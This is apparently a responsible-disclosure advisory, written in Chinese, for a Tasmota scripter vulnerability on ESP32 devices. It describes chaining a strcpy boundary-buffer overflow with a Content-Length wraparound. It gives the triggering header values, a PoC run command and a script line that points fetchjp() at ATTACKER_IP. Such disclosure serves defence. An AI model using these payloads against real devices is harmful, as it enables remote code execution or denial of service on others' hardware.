CVE: CVE-2026-38422
严重性: 严重(CVSS 9.8)
产品: Arendst Tasmota
受影响版本: <= 15.3.0.3
文件: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
函数: fetch_jpg()
作者: Saidakbarxon Maxsudxonov
披露: 负责任披露 — 在发布前已报告给 Tasmota
Tasmota 的 scripter 驱动(xdrv_10_scripter.ino)中的 fetch_jpg() 函数包含两个可叠加的内存破坏漏洞,二者结合可在运行 Tasmota <= 15.3.0.3 的基于 ESP32 的设备上实现远程代码执行:
strcpy() 溢出到固定的 40 字节 boundary[] 缓冲区——破坏相邻堆内存,包括 WiFiClient/HTTPClient vtable 指针(另见 CVE-2026-38426)Content-Length 的 uint16_t 整数回绕——分配过小的缓冲区,导致流状态损坏(另见 CVE-2026-38427)在同一攻击会话中组合使用这两种原语,可最大化堆破坏效果,并显著提高实现任意代码执行的概率。
Attacker MJPEG Server
│
│ Phase 1: HTTP 200 response with long boundary string
│ Content-Type: multipart/x-mixed-replace; boundary=AAAA...AAAA (50+ chars)
│ → strcpy(boundary[40], 50_chars) → OVERFLOW
│ → WiFiClient vtable ptr partially overwritten
▼
ESP32 Heap Corrupted
│
│ Phase 2: MJPEG frame with Content-Length > 65535
│ Content-Length: 65537
│ → uint16_t size = 1 (wraparound)
│ → malloc(1), readBytes(buff, 1)
│ → 65536 bytes remain in stream → heap/stream corruption
▼
Double Corruption → RCE / Guaranteed DoS
# Combined attack — phase 1 + phase 2
python3 CVE-2026-38422_poc.py --port 8887 --mode dos
PoC 服务器:
fetchjp() 触发)Content-Length: 65537 的 MJPEG 帧(回绕)完整实现请参阅 CVE-2026-38422_poc.py。
>D
>B
fetchjp(ATTACKER_IP:8887/stream,0,0,1)
>1
=fetchjp(2,0,0,1)
设备必须运行使用 fetchjp() 的 Tasmota 脚本。攻击者控制设备所连接的服务器(或对现有连接执行中间人攻击)。
任何基于 ESP32 的 Tasmota 设备,运行版本 <= 15.3.0.3,启用了 scripter 支持,并使用 fetchjp() 连接外部 MJPEG 服务器。